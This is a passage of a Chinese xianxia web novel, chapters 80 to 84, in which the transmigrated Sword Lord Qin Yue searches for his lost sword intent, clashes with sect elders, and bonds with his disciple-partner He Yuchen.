也许是听出了他的声音,门很有灵性地吱呀一声朝内打开了,似乎在让他进去。 祁鸿羽丈二和尚摸不着头脑,但认定太虚神霄宗里没有妖魔鬼怪,还是相当胆大地走了进去。 他没走了几步,看见一个人正盘腿坐在榻上,抬起眼帘望着自己。 祁鸿羽眯着眼,对着光线认出了男人:“你是前天那个人!” 对方没说话,祁鸿羽走近了才发现问题所在。 祁鸿羽没来得及思考为什么师兄抓着人家衣服,怕人跑了似的。他脑袋嗡嗡作响,当即趴在床榻前,晃了晃贺煜臣的肩膀,嚎啕哭丧::“师兄!师兄!你怎么了?你没事吧,你能听见我说话吗,我要不要……”给你叫医师。 他话没说话,惊恐地发现自己发不出声音了。浑然不知发生何事的祁鸿羽瞪着旁边的男人。 秦越垂眸看着他,丢下两个字:“聒噪。” 祁鸿羽腾得一下站起来,他指着秦越,激动地手舞足蹈。虽然秦越听不到祁鸿羽说什么,但从他的嘴型上看,也猜出了个七七八八。 “你对师兄做了什么?” “怎么不说话?你是不是默认了?!” “敢对太虚神霄宗的人下手,你胆子太肥了吧?” “你你你!”祁鸿羽见秦越依旧无视自己,气得“你”了半天,说不出下一个字。 秦越跟看智障一样盯着他,半晌幽幽开口:“我要真不是好人,能留你在这指手画脚那么久?” 祁鸿羽噎了一下反应过来,他继续“指手画脚”,保证自己不大声说话了,秦越这才解除了他的禁制。 “你是谁呀?”祁鸿羽做贼一样小声叨叨:“我没在无相峰见过你,你是不是师兄的道侣?” 秦越本不想搭理他,听到这话来了兴趣,他纹丝未动只是扬了扬眉:“为何会那么觉得?” 祁鸿羽一脸我又不是傻子的表情,指了指自己的眼睛,“看出来的啊。” 他振振有词:“上次见到你的时候,见到你给我师兄处理伤口了。” 秦越不置可否:“就因为这个?” “这还不够吗?”祁鸿羽怀揣双手,信誓旦旦:“师兄从来不让人接近他。如果你是例外的话,那就一定有特殊的身份。从你面相来看,你又当不成他爹,所以我只好往这方面猜喽。” 的确当不成他爹,从年纪上说,他比贺煜臣的太爷爷的太爷爷的……太爷爷还年长。这个突如其来的念头让秦越忍不住抬了抬嘴角。 祁鸿羽一看秦越笑了,也是放宽了心。虽然对方笑意的弧度很小,但不可否认这个疑似凶徒的男人,看起来没那么可怕了。 “只是我没想到师兄居然会破了无情道。”祁鸿羽放松下来,话头就停不下来了,“他道心之坚到我还以为他会跟剑过一辈子。” “不过师兄为何会看上你?”祁鸿羽有点纳闷,“他应当会喜欢剑尊那种悲天悯人心怀天下、温柔善解人意的类型。” 秦越神情变得奇怪:“悲天悯人?善解人意?” 祁鸿羽理所当然点头:“你没听过剑尊舍己为人斩恶蛟,驱逐瘟疫救一城的故事吗?” 他说的是太虚神霄宗介绍宗门历史课上的内容。 每个门派都会美化自己的创始人,当然太虚神霄宗也不例外。 秦越饶有兴致地问道:“为什么你认为他喜欢剑尊?” 祁鸿羽:“因为他经常把剑尊挂嘴上,而且说到剑尊他……”就像变了一个人。 意识到背着贺煜臣说了太多他的事情,祁鸿羽收了声。 “放心,我不会跟别人说你俩的关系的。”他很讲意气的样子。“你也别担心慕温瑜会责罚他。” 秦越重复道:“责罚?” 祁鸿羽一脸理所当然:“无相峰修得是无情道啊。” 气氛变得沉默起来,祁鸿羽再傻也察觉出来秦越神色变冷了。 原来是个阴晴不定的怪人……祁鸿羽没敢吱声,默默地拍了拍衣服上不存在的灰。 秦越冰冷地道:“好一个宽以律己,严以待人。” 祁鸿羽不明所以地看着他,没懂秦越是什么意思,但还是执着地问道:“我师兄到底怎么了?他这几天都是这样么?” “慕温瑜人在哪,为何不来?” 从祁鸿羽表情来看,他应当是觉得自己听错了,“你是巴不得让慕温瑜知道这件事吗?” 秦越置若罔闻,语气中带上了冷笑:“他是很忙么?” 祁鸿羽:“不,但是……” “走吧。”秦越抬了抬手,祁鸿羽不明白发生了什么,但一股反抗不了的力道直接将他拒之门外,“你师兄不会有事的。” 他不想听了。 对白月光跟反派之间的关系,原文里写的不甚详细,秦越知道慕温瑜收贺煜臣为徒的原因,还是祁鸿羽和慕温瑜虐恋情深互相指责争执中,慕温瑜亲口道出的。 ——仅仅是因为长得像而已。 当时给评论区嗑CP的发了一大口糖。 秦越本以为两人师徒那么久,总该有一丝情谊。但万万没想到慕温瑜如此冷漠,贺煜臣在他眼中确实只是一把锋锐的好刀罢了。 连祁鸿羽都能察觉到贺煜臣的异常,特意回来看他一眼,而做师尊的慕温瑜,在无相峰手眼通天的慕温瑜,就这样不管不顾。 怕是贺煜臣真有一天死在这里,收尸的也不会是他。 床榻上贺煜臣蜷缩着,他其实只占据了很小的位置,似乎是习惯了。他依旧紧紧攥着秦越的衣袖没有松手,他本来死死咬紧的牙关忽的卸了力道,轻轻吐出两个字。 秦越凑近听了听,发现他在叫师尊。 ……也许,贺煜臣是希望自己能得到慕温瑜认可的吧。 原文里,祁鸿羽被逼走后,慕温瑜是拿贺煜臣当了替身。但贺煜臣在某一刻,会不会真的产生了一些模糊扭曲的情愫。 那种之前一直难以得到的关注,终于如愿以偿了。 慕温瑜会正眼看他了。 秦越直直地盯着他,突然不轻不重地说道: “你可千万别喜欢上慕温瑜了。”—— 作者有话说:《悲天悯人,心怀天下》 秦越:好陌生的形容词魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 80-90 第81章 树下影影绰绰站着个人影。长相模糊不清,他侧了侧头像是要说什么。 贺煜臣听不真切,四肢却被束缚住了一般,一动也不能动。等到他终于艰难地迈出第一步时,那个人影晃了晃,贺煜臣心里一急怕那人等得不耐烦要走。 他越着急反而越笨拙,慌里慌张地差点摔了个跟头。 “怎么如此莽撞?”来人四平八稳地扶住他,“我又不会丢下你就走。” 贺煜臣觉得自己忘了什么重要的事情,却怎么也想不起来。 眼前人宛若藏在迷雾中的容颜,在贺煜臣自虐地逼着自己回忆中变得清晰。 贺煜臣迟钝地认出他来。 不过很快,贺煜臣意识到自己是在梦里。 秦越的和颜悦色是对着祁鸿羽的,至少……不会是给他的。 贺煜臣像是被灼了一下,微妙地想摆脱秦越的搀扶。 虽然秦越就近在身边,可贺煜臣总觉得对方像不能染指远在天边的仙人一般。 对秦越来说,心血来潮地对他的好,就跟天上的神明闲来无事点化一株植物、一只畜生是一样的。 贺煜臣跟秦越对上视线,盯着那张棱廓分明的脸,他鬼使神差地轻声唤道:“……师尊。” 秦越肉眼可见地愣了一下,贺煜臣看见他的生硬和错愕,突然像是大仇得报似的,他嘴角一勾,放肆地又喊了几声。 在秦越沉默地注视下,贺煜臣被一道耀眼的光弄醒了,眼前还能依稀看到秦越纵容的目光。 恍惚间,贺煜臣模糊地记得自己做了一个关于秦越的梦。 秦越正皱眉盯着他,看上去有点不高兴。 “我不知道你对慕温瑜还有别的想法。” 贺煜臣:“……”他懵了好一会,才反应过来自己在哪。 只不过秦越的话让他更是云里雾里,他艰难地道:“谁?” 秦越抬了抬胳膊,贺煜臣被顺带着往前一倾,他发现自己不知何时抓着秦越的衣袖。 贺煜臣郝然之下想松开,指关节却又酸又僵,似乎是维持这个姿势很久了。 秦越束手旁观贺煜臣跟不听使唤的指节做斗争,缓缓地说:“你一直在喊师尊,没想到你对他还真有一份情谊。” 贺煜臣明白过来了,可是这种场合又不能否认他喊的不是慕温瑜。 本来就是不要脸面地促成了一段师徒缘分,现在若是说他心里想的是秦越,更是显得他死皮赖脸。 贺煜臣终于松开了手,“……跟你有什么关系。”至少慕温瑜不会一怒之下就要他性命。 “关系可大了。”秦越平淡从容的声音传来,“你是不是忘了我们结契了。” “……” 房间里原本还能听见的呼吸声断了。过了半天贺煜臣才深深吸了一口气,他指尖颤抖地探上自己腕间。 又过了几息,贺煜臣直起上半身,不由分说地扣住秦越的手腕。 结契之后,彼此修为间会夹杂着熟悉又陌生的灵气。 熟悉的是自己的,而陌生的,则是来自道侣的。 贺煜臣头晕目眩地捂住额角,缓缓向后靠回床榻,脑袋里嗡嗡作响。 他好像梦还没醒。 怎么会做那么奇怪的梦。 秦越一看贺煜臣这副模样,难得地自我怀疑起来。 莫非他理解错贺煜臣的意思了? 秦越逐字分析贺煜臣那时说过的话,确定没有搞错后,他思来想去,只能想到另一个答案。秦越不由地皱起眉,沉声道:“你后悔了?” 这简直是为难他。 结契容易,毁之困难。修士性命绵长,对另一半的选择总是斟酌再三的。结契从某种意义上来说,是一种不容背叛的契约,解除对双方而言都有影响,最轻的都是境界大跌。 贺煜臣声音轻得像一阵风,“你当真与我结契了,你怎么会……同意呢。” 风在他胸腔呼啸,刮得每一寸血肉生疼。 为了给祁鸿羽平白造出一段青云路,秦越居然会做到这种地步。 他当时无非是气得很了,口不择言故意说出为难秦越的话,纯粹是让秦越也不好过。 可没想到秦越真的同意了。 贺煜臣第一次知道如愿了,也会那么难受不堪。 秦越眼睁睁地看着贺煜臣说些他听不懂的话,简直是眼前一黑。心想贺煜臣脑子不会坏掉了吧,难道结契双方境界相差很多,就会把脑子弄坏么? “你跟祁鸿羽到底是什么关系?”贺煜臣喃喃地道出了心中的疑惑。 刚刚被自己赶出房门的关系,秦越尴尬地扭过头。 祁鸿羽被秦越怼出去闷声走了一段路之后,突然觉得不对。 ……他凭什么要走! 他是贺煜臣的亲师弟,没有第三者的亲师弟。两个人认识的时候还没这个野男人什么事,凭什么被撵出门的是他啊?! 祁鸿羽说服自己,应当是觉得这个男人看起来靠谱他才走的,可他还没问清楚个一二三,怎么就被人给糊弄走了。 太可怕了,这个人。 我师兄不会也是被他给骗了吧。祁鸿羽头皮发麻地又往回走,还没走到一半,遇到个他现在不想见的人。 慕温瑜冷笑:“怎么,还想跑?” 眼见宗内试炼大典在即,祁鸿羽却无故不去修行。更可气的是,这小子故意躲着他好些日子了。 祁鸿羽往后退了一步。 呃…… 祁鸿羽的脸瞬间皱成了一个苦瓜,有种肚子里藏着很重要的秘密,却无人能与他分担的痛苦。 “没想跑,只是我们不顺路。” 慕温瑜早就看出了祁鸿羽是想去找贺煜臣:“你师兄做事一向沉稳,临近比试他一定在潜心修炼,你没事不许去烦他。” 祁鸿羽心不在焉地点头:他才没有去烦师兄。 慕温瑜一眼看出祁鸿羽断然不会听自己的话,便道:“正好我也有事找他,你有什么事就一并说了罢。” 祁鸿羽后背一紧,脱口而出:“现在吗?!” 慕温瑜奇道:“不然呢,你不是正准备去么?” 那能一样吗?! 我说好要给师兄保密的,你跟我一起去算什么事?这不弄得我像个告密的小人吗? 使不得使不得。祁鸿羽脑海中的小人疯狂摇头,绞尽脑汁开始编理由:“我突然有别的事……” 慕温瑜一瞧他躲闪的目光,猜测他又憋着坏,不由分说地抬手隔空把想开溜的祁鸿羽拽了回来。 祁鸿羽:“……”今天刚被秦越推出大门,又被慕温瑜揪回来。 他祁鸿羽不要面子的吗? “别废话。”慕温瑜勾了勾手指,祁鸿羽便身不由己地往贺煜臣的住所方向走。 空气中仿佛一双强悍的手,态度强硬地推着祁鸿羽向前,眼见都快贺煜臣的住处了,他急中生智地大喝一声:“师兄,我跟师尊来看你了!” 慕温瑜被祁鸿羽突如其来的大喊大叫,给震得表情空白一瞬,他拧了拧眉,斥责道:“无相峰禁止喧哗。” 祁鸿羽不听,打了个哈哈:“无相峰拢共就三个活人,不热闹点像什么样子,坟地吗?” 慕温瑜在讲歪理这方面辩不过祁鸿羽,说多了生闷气的只会是他自己。他撤了禁锢祁鸿羽的法咒,看着祁鸿羽磨蹭了半天就是不进去,便出声催促。 ——完了。 祁鸿羽开始祈祷,师兄那靠谱的道侣能听到他的通风报信,不然撞了一个满怀,慕温瑜保不齐要棒打鸳鸯。 他磨磨唧唧,一步□□地走了进去。 这次祁鸿羽记得敲门了,万幸地是这次门内传来的是贺煜臣的声音。 祁鸿羽胸口的大石头落地了,他这才敢推开门,刚刚就怕看到什么跟无情道不沾边的场景。 贺煜臣还躺在病榻上,神色倦怠,见到祁鸿羽身后的慕温瑜,似乎是想下床,被祁鸿羽一个虎扑过去阻止了:“师兄,你可总算醒了!” 慕温瑜捕捉到祁鸿羽话中的异常,他微微蹙起秀气的眉毛,走近贺煜臣,“你病了?”说着就想随手替贺煜臣号脉。 “没——”贺煜臣刚吐出一个字,立刻改口道:“还没有好,我怕过了病气给师尊,就不烦请师尊看了。” 修士一般很少生病,若是病了一般就会病来如山倒。听到这话,慕温瑜叹了口气,“你也别给自己太大的压力。” 祁鸿羽左看看右看看,“什么压力呀。” 慕温瑜见他没心没肺的样子,气不打一处来,他冷哼一声:“当谁都是你,宗内大比也就三个月之内的事情了,太虚神霄宗里估计就你没当回事。” 见到祁鸿羽瘪着嘴退到一边,慕温瑜又不好再发火了,他理了下情绪,郑重地说:“这次比试说是宗内的一场寻常切磋,实际则是为各峰预选继任者。” 祁鸿羽想到,早些时候遇到说是要找慕峰主的弟子,他带来的估计就是这个消息。 放在别的峰里这得是秘事,但无相峰总共就两个弟子,慕温瑜觉得瞒下去也没什么意思。 慕温瑜:“但我今日来不是为了告诉你们这个,还有更重要的事情。” 他伸手招来凭空招来一段悬浮的铭文,接下来说了不亚于晴天霹雳的话:“此为《无相空明》。” 祁鸿羽傻眼了:“可是我们入门学得不就是《无相空明》么?” 慕温瑜:“《无相空明》晦涩难懂,岂是初学者就能明白的。入门所教的不过是另一门心法,只是为了防止外峰弟子对无相峰起疑,质疑本峰传承断了,才谎称是《无相空明》。” 祁鸿羽觉得悬浮在空中的《无相空明》如天书一般,愣是看不懂一个字。 慕温瑜望了一眼表情平静的贺煜臣:“比试时,可别丢了无相峰的脸面。” 第82章 那些仿若有生命在空中跃动的文字,贺煜臣只看了一眼,就认了出来。 他曾把这些字嚼烂了铭记于心,还能记得灵气在筋脉中流通的触感。 ……这是秦越教给他的心法。 贺煜臣张了张口却没能发出声音,本来熟悉的字开始变得扭曲不可辨认。他半晌才能挤出几个字:“这个心法还有谁知道?” 慕温瑜闻声望去,眉梢一动。他这个徒弟从来不多问,对待自己的命令也鲜有质疑,这次居然会追问了。 “还有宗主。”慕温瑜不动声色回道:“按理说无相峰出身的人都知道。” “无相峰还有别的弟子么?” 这种时候,一般都是祁鸿羽更好奇,但贺煜臣却那么着急发问,实在是一反常态了。 慕温瑜眸光暗了暗,加重了语气:“据我所知,没有了。”他意有所指道:“你是想找什么人么?” 贺煜臣整个人一僵,他意识到自己引起了慕温瑜的怀疑:“不……” 慕温瑜忽然偏头转向半空中,凝视着空无一人的地方:“刚才是不是有人在这?” 不知为何,空气中有一抹很淡的灵气,一直没有散去。 祁鸿羽打了个激灵,梗着脖子道:“刚刚就是我在这啊。” 慕温瑜虽然不关心贺煜臣的人际交往,但绝对不傻。残留在这淡薄却凝练的灵气,绝不是祁鸿羽这种半吊子能做到的。 他怀疑地睨了一眼祁鸿羽,又把目光移向贺煜臣。 祁鸿羽暗叫不妙,他师兄说话耿直的要命,即便慕温瑜不问,贺煜臣估计都会不打自招。 他一个箭步挡住慕温瑜的视线,“我……还有我喊来的医师。问东问西,问那么一大堆干什么呀,你快别打扰师兄休息了。” 他一把拽起慕温瑜,把人半哄半推得弄出门。在旁人看起来颇有些大逆不道不合规矩的举措,在贺煜臣眼里并不值得大惊小怪,他漠然地垂下头,不明白祁鸿羽为什么要撒谎。 祁鸿羽把慕温瑜好一通糊弄,并保证马上就滚回去修行,慕温瑜才半是无可奈何半是妥协地走了。 “师兄。”祁鸿羽确保慕温瑜的身影已经看不见了,才放心大胆地问:“那个人走了?” 贺煜臣的脸色突然变了,只是一瞬间但祁鸿羽看清了。 “你见过他?” 祁鸿羽摊手:“师兄你啥记性啊,前几天我不就见过他了。”说着说着,他问出了所有人知道朋友结契之后的第一个问题,“你啥时候跟他在一起,我怎么不知道?” 贺煜臣心中涌现一股焦躁。在他没有意识的时候,秦越居然跟祁鸿羽见过面了。不同于第一次,那时他是清醒着的。 这次他们说了什么?祁鸿羽又知道了多少? 祁鸿羽被贺煜臣的眼神吓到了。虽说师兄平时也不是那种能嘻嘻哈哈打趣的人,但祁鸿羽一直默认师兄刀子嘴豆腐心罢了。 自从猎妖回来,师兄就变得更难以捉摸。看着他的神色就像自己是个单纯的小羊羔,随时都能架上火烧滋滋冒油的烤。 贺煜臣看祁鸿羽没有异样,焦躁的心情才平复下来。他沙哑道:“你们都说了什么?” 讲到这,祁鸿羽顿时忘了贺煜臣这段日子的奇怪。 他整个人都来劲了,告状似的对贺煜臣说:“你道侣好凶啊!师兄你是不是被他骗了?” 贺煜臣显然没想到祁鸿羽会这么说,他像被呛到了咳了几声才缓过来,“道侣?” 祁鸿羽心道他都已经默认了,你还在这不好意思承认。 也许是师兄脸皮薄吧,祁鸿羽想着就自然而然地跳过了这个话题:“这不是重点,重点是他看上去就不适合你!” “变脸比变天还快,前一秒还和颜悦色的,后面突然就翻脸不认人,让我滚出去。” 这纯属是他在添油加醋,因为秦越并没有说滚,只是毫不客气地“送客”了。 贺煜臣的脸色变得更奇怪了,“让你滚?” 祁鸿羽终于有种有“长辈”给自己做主的感动,“你简直不知道他脾气多恶劣,说话跟含了钉子一样。” 贺煜臣揉了揉额角。若不是年纪对不上,他之前都甚至都以为秦越是祁鸿羽未曾谋面的亲爹了。 不过现在看来,应当不是了。 — 秦越没忍住打了个喷嚏。 系统:[这个我懂,有人在说你坏话。] 秦越:“你懂个什么?两个喷嚏才是有人骂我。” 秦越没听到祁鸿羽的鬼叫前,就已经知道有人过来了。毕竟实力放在这里,就算他不想那么敏锐,都做不到。他倒不是担心慕温瑜,只是不想让本就乱七八糟的剧情更加混乱了。 现在,他正在一处峭壁前思考人生。 [很眼熟的地方。]系统评价道,随即它戏剧化地捧着脑袋,[啊,我难道是失忆了吗?怎么记不得啥时候来过。] 秦越:“得了,你治好了也只会流口水。你根本没来过这里。” 系统沉默地收回手,看着秦越肃穆端正地站在石壁前,[我只是想调节一下气氛。] 如果忽视他们脚底下就是百丈深渊,这里还是挺适合观赏风景的。 秦越摸了摸石壁,眉头逐渐拧起,接着二话不说一掌把眼前碍事的石壁劈成两半。 轰隆。 地动山摇之下,系统腿一软差点要给他跪下,[宿主,咱们有事好好商量。还在太虚神霄宗呢,就搞那么大动静?!] 秦越心平气和地转过身,随意抖落了下衣袖上的灰尘,“剑意果然不在这了。” [我就说为什么我觉得这眼熟,原来是剧情里说过的——剑意不见了??]系统觉得自己好虚弱,马上就要昏倒了,它追问道:“真的没有了?一点点都没有了?” “你当剑意是什么?还能分期取款吗。”秦越看了眼开始变得透明的指尖,知道这个化形符箓又要撑不住他的身体了。 既然已经确定剑意不在此,那十有八九贺煜臣身上的确就是真的了。 系统:[所以剑意到底是什么东西?]主要原文也没详细写,只在结尾的时候,它闪亮登场跟男主融合了,然后就再也没提了。 秦越嗤笑:“是什么东西不重要。” 作为作者,同样也是男主的亲妈。这只不过是用来给男主提高逼格的东西罢了,剑意本就是剑尊的身外化身,蕴藏着仅次于剑尊的力量。 说人话,就是给男主涨了一波经验值。 系统脑袋要充血了:[怎么会出这种bug啊?!] 秦越:“这就要说到我最好奇的事情了。”他似笑非笑地盯着系统,“这个世界若没有外来者的拨动,它会按照原文一字不差的走下去,是不是?” 系统不假思索:[这是自然。] “那为何在鬼哭洞的是贺煜臣,而不是祁鸿羽?” “啊!这不是bug。”系统惊叫一声,思绪通透起来,“你是说这个世界不只有我们是外来的?” 秦越仔细辨认着系统的神色,确定它没有在装傻后,神情淡漠掌心微微一抬,原本只是裂了个缝的石壁彻底变得稀碎,“剧情早就错了。” 是从什么时候开始的? 是贺煜臣不知为何突然要替祁鸿羽背负处罚? 还是剑意出现在贺煜臣身上的时候? 系统呆了一秒,安慰自己说:[没关系没关系哒,可能用不上,我意思是男主是最后黑化了才会用剑意驱逐心魔的。如果没黑化的确用不上,虽说有总比没有好……] 它还没给自己顺好毛,小说里总是姗姗来迟的宗内巡山弟子这次及时赶到了,一行人风风火火地将秦越围住。 说实话,巡山弟子也没搞懂,怎么会有外人来他们这就是为了劈一个石壁? 纯闲得慌吗。 巡山弟子起手一个言辞警告,主打先礼后兵,可就当他们准备将眼前这个人拿下时,劈头盖脸地暴雨朝每个人脸上砸了下来,更恐怖的是不久前还是无云的晴空,转瞬电闪雷鸣,积压的黑云像是倒悬蠕动的沼泽。 这动静不像是寻常的天气骤变,是他们宗内禁制法阵被启动了。 巡山弟子大惊失色:“你做了什么?”他们跟无头苍蝇一样左右试探,却看不出哪里有问题。 虽然阵法启动时,秦越反应很快,没有被雨水浇成落汤鸡,但这黏湿的水气他一点也不喜欢。 巡山弟子在最糟心的时候,迎来了主心骨,他们见到来人跟看见天降救星也没差别,“慕峰主!严峰主!” 禁制被破时,各峰峰主只要还在太虚神霄宗内的,都尽数赶来了。 严正阳头皮发麻地看着一地残骸,然后绝望地发现最重要的东西不见了。 慕温瑜神色比严正阳镇定些,但也仅仅是没有失态。 他颤抖的手指抚过冰冷的剑鞘,缓缓道:“阁下在太虚神霄宗所为何事?” 秦越坦然:“找东西。” 慕温瑜冷冰冰地说:“阁下找到了么?” “没有。”秦越笑了下,“不过,好像也不能说没有。” 只是东西不在它该在的位置。 慕温瑜和严正阳对视一眼,巡山弟子不清楚怎么回事,他们可是一清二楚。 ——那道剑尊留下的剑意不见了。 严正阳气得胡子直翘,大抵是没见过如此猖狂的人。巡山弟子则是不知道事情的严重,还在窃窃私语。 “这人不会就是之前各峰失窃的罪魁祸首吧?” “原来一直都藏在宗内呢。” “怪不得之前去调查地脉岩浆的下落,一直找不到流通去哪了,估计他都没带出宗门。” 慕温瑜长剑出鞘,他语气带着寒意:“阁下还是把不属于自己的东西留下吧。” 第83章 秦越听得好笑,他想若是自己将太虚神霄宗掀个天翻地覆,也算是为男主铺平了一条路。 没人能看见杀意逐渐在他眼底聚集,过了几息,秦越平静道:“我说不是我做的,想必你也不会信。你们——”他乌黑的眼睛扫过慕温瑜身后的一众人,“你们一起吧,我赶时间。” 严正阳差点以为自己耳朵出问题了,从他的角度只能看见秦越没什么表情的侧脸。严正阳喝道:“竖子猖狂!你可知这是哪里。” 秦越心道小说里开战前的废话环节,真的是必不可少吗? 他生出一种无奈和不耐烦感。 他们又不熟。在这里聊什么天? 慕温瑜头皮一炸,潜意识中的危险让他寒毛倒数。身经百战的躯体比他更快地反应过来,长剑及时挡住身前,可从前而至的剑气还是削去了他鬓角旁的一缕长发。 秦越只堪堪给了他一个眼神,接着杀招已到眼前。慕温瑜这次要避无可避了,好在身旁还有个严正阳,替他挡下这一击。 场面瞬间凝固,严正阳大气不敢出,本还以为只是一个不知天高地厚的小辈,现在却让他冷汗直下。 慕温瑜百忙之中抽空问道:“阁下为何要跟太虚神霄宗作对?”? 秦越寻思他也没想作对啊,虽然曾“借”了各峰的东西,但大部分也都还回去了。况且还是物尽其用,都用在了宗内人的身上。 在只能听见雨落的死寂中,法阵不知何时已然升起,金纹流转将几人围在无相峰顶。 秦越似乎在沉思什么,迟迟没有动手。 [那位是本文的白月光!]白月光没有死在男主手上,被全文最大背景板弄死,不更离谱吗? [实在不行,告诉他们您的身份!]系统在狂风暴雨中,眼睛都快被雨水糊得睁不开了,[虽然说无情道老祖宗结契了很怪,但总比老祖宗一回来就在自家门派大开杀戒看上去合理啊!] 慕温瑜等不了了,无相空明在他体内流转,剑鸣声似乎在催促他上前。 可难以言喻的恐惧如阴影一直盘旋在他头顶,慕温瑜不懂这种还未交手几个回合,就生起的畏惧是从何而来的。 他吐出一口浊气,逼着自己将那种压迫感忘却,一剑斩向秦越。 铛—— 慕温瑜死死抓住剑鞘,不可置信地瞪着秦越。 剑身折了。 好歹也是被称为神兵的武器,就在他眼前四分五裂。 秦越一手虚虚握着剑身,冷冷地看着慕温瑜,蓦然五指发力。 慕温瑜失声道:“你究竟是谁?” 同宗同源的气息,此刻却如同梦魇环绕周身,慕温瑜身上每一个神经都在尖叫,他什么都做不了,只能眼睁睁地看着秦越弃之敝履地松开手,他手中折断的长剑清脆地落在地上。 不可能,不可能,不可能! 慕温瑜瞳孔猝然放大:“你是谁!” 严正阳知道事情不妙,但不知道事情已经超出可控范围了。他从未见过无相峰峰主如此失态过,像被未知的恐惧裹挟着发出色厉内荏的质问。 向来云淡风轻的前辈,陡然卸去了那张完美无缺的面具,严正阳直直站在那,愣了半天才用力拉着慕温瑜退出法阵之中。 “慕峰主!”严正阳顾不得失礼,“别离法阵太近。” 宗门禁制能让知晓破阵之法的人进出自如,但其威力之大,离得近也难免会被波及到。 地面开始轻微摇晃,法阵似乎准备将阵内之人绞杀。然而一片金芒中突然爆发出更灼目的光。 先是集中于一点,随即快速扩散,爆发般地撞向法阵。猛然间爆发的巨大剑气,撕裂了金纹法阵,也足以撼动整座无相峰。 等到众人眼前光芒散尽,眼前什么都没有了,只余一张完好的符箓,落在的爆炸的中心。 慕温瑜拾起地上的符箓,辨认了一番,递给了严正阳,“是天机峰的符箓。” 严正阳今天已经足够震惊了,他跟慕温瑜面面相觑,“……所以拿我药鼎的也是他。不是,他图什么?若是为了偷取剑意,一开始却又做这种引人注目的事,没道理啊。” 他认出了天机峰符箓的作用,脸色变得苍白,“这是一种化形符箓,天机峰的人主要用来请神的。慕峰主您看……这人是不是身份不一般啊。” 无相峰顶黑云已散,日光洋洋洒洒地落在每个人身上。慕温瑜没有说话,他失神地望着碎得不成样子的石壁,然而其中隐隐夹杂的灵气吸引了他的注意。 很熟悉。 他一定在哪里见过。 慕温瑜本迷茫的脸上顿时浮现一丝错愕,“……贺煜臣。” “慕峰主,您这是要去哪?”严正阳正愁着不知道怎么跟宗门说明情况,结果看见慕温瑜一言不发地就走了,“这烂摊子又是我收拾?!” 其实秦越根本没有如严正阳想的那般,金蝉脱壳地跑路了。他透明的神魂正在半空漂浮着,那道化形符箓因承受不住他的力量,变成了一张普通的纸落在了地上。 秦越确定了一件事。 剑意并不是慕温瑜放在贺煜臣体内的。至少太虚神霄宗的人都不知晓这件事,否则也不会大费周章地放一个法阵在这里了。 这就说明,贺煜臣在没有来太虚神霄宗时,剑意就已经不在这里了。 谁做的?秦越陷入了沉默。 他其实已经有了一个猜想,只是他不愿意去相信。 系统颤颤巍巍地咽了口口水,然后盯着他,秦越难得在系统一向单纯的眼神里看到了迟疑纠结。 系统觉得出现了它不能理解的事情,良久它听见自己的声音说道:[若是能在太虚神霄宗眼皮子底下,神不知鬼不觉地取走剑意,只有一个人能做到。] [……那就是您自己。] 似乎有什么雪泥鸿爪在秦越识海中划过,但很快就无迹可寻了。 系统不敢抬头,它能感受到一道视线一直在死死地盯着他,很久之后,只听秦越冷冷道:“你们到底对我做了什么?” 为什么我会不记得? 我到底是何时来到这个世界的? 我被困在这里多久了? 秦越俊美无铸的脸庞因愤怒而变得咄咄逼人,系统一个激灵飞到高空中,它快被秦越吓死机了:[呜呜呜。我不知道,我跟您是一起来这里的,我我我是站在您这一边的!] 它哭得真情实意,快喘不过来气了。 眼见秦越就要逼近自己,想象中的剧痛并没有到来,秦越只是抓住了它,厉声道:“回档。” 系统眼泪被吓没了,抽抽噎噎道:[回什么档?] 秦越:“你说过我们在你眼里实质上只是一堆数据。你应该能回到数据最开始的地方,对吧。” 我说不对您是要当场取我狗命吗?? 系统快背过气了,它知道回档的意思,但是也得有存档才能回档啊!古人还知道刻舟求剑呢,我连刻都没刻…… 秦越手下力气加重,“可不可以?” 系统点头如捣蒜:十分狗腿地说:[可以可以,必须可以。] 容不得系统在做推诿,它完全是被秦越赶鸭子上架的,毕竟它从未干过回档这种事情。 何止是没干过,简直是闻所未闻! 系统盯着眼前的数据洪流,觉得自己就像实习期还没出的医生,就被推到手术台上,要求它主刀救人。 庸医害死人,也许它会害得整个小世界数据乱流。系统擦了擦冷汗,视死如归地删除了一段数据。 半盏茶前,整个无相峰晃得宛若被一个无形的巨手来回推搡。 贺煜臣和祁鸿羽在地动山摇中对视了一眼。 这是怎么了? 祁鸿羽:“地震了?”他还没想出来个所以然,就被贺煜臣惨白的脸色吓了一跳。 晃动了几秒后,无相峰又归于平静。祁鸿羽搓了搓胳膊,刚刚一应激,皮肤上那些黑鳞又出现了。 “师兄,你还好吧?” 贺煜臣刚才灵气猛地一空,虚脱感突如其来,让他差点撑不住自己的身体。 到底怎么了?贺煜臣心脏跳得厉害,有种莫名的恐慌感袭来,他面色微变,似乎想到了什么。 “我要出去一趟。”贺煜臣转眼间已经走到门外,他吩咐道:“如果师尊要来传授《无相空明》,你就说我去医师那里了。” 他话音未落,人已经被赶来的慕温瑜拦下。 “你要去哪?”慕温瑜脱口而出逼问道。他一手还紧握着空落落的剑鞘,另一只手指向屋内,“之前在这里的,究竟是谁?” 贺煜臣心慌得厉害。 刚才灵气被抽取,多半是被结契的另一半借用了。 ……是秦越,他出事了。 慕温瑜威严而又不近人情地走近贺煜臣,剑鞘毫不客气地敲在贺煜臣的膝盖上。 “跪下!” 他没收敛力气,蕴藏着深厚修为的力道,一下就让贺煜臣站不住了。 贺煜臣咬了咬牙,还是半跪下来,恭恭敬敬地垂下头。 慕温瑜被贺煜臣这幅一个字也不说的死样子给气得不轻。 祁鸿羽没见过那么严厉的慕温瑜,一时哑口无言。他想多半是慕温瑜知道贺煜臣无情道已毁的事情,要不然慕温瑜不能发那么大的火。 “你可知那人是何身份” “这些时日莫非是你替他藏了行迹?” “他盗取剑意,你可知情?” 祁鸿羽见状脑子里想了半天的借口,一个也用不出来了。 贺煜臣眼皮微抬,半晌恍惚地问道:“他怎么了?” 刚才的动静看来是无相峰的法阵启动了,慕温瑜既然会找到他,证明秦越的确拿走了剑意,还触发了禁制。 那么这样的话…… 贺煜臣几乎是强迫自己问道:“他还……活着吗?”—— 作者有话说:秦哥:……剑尊竟真是我自己 第84章 慕温瑜看出贺煜臣的迷茫不似作假,终归没有那么不近人情,“起来吧。” 贺煜臣无动于衷,固执地盯着他。 慕温瑜微微一愣,他见过这种眼神。 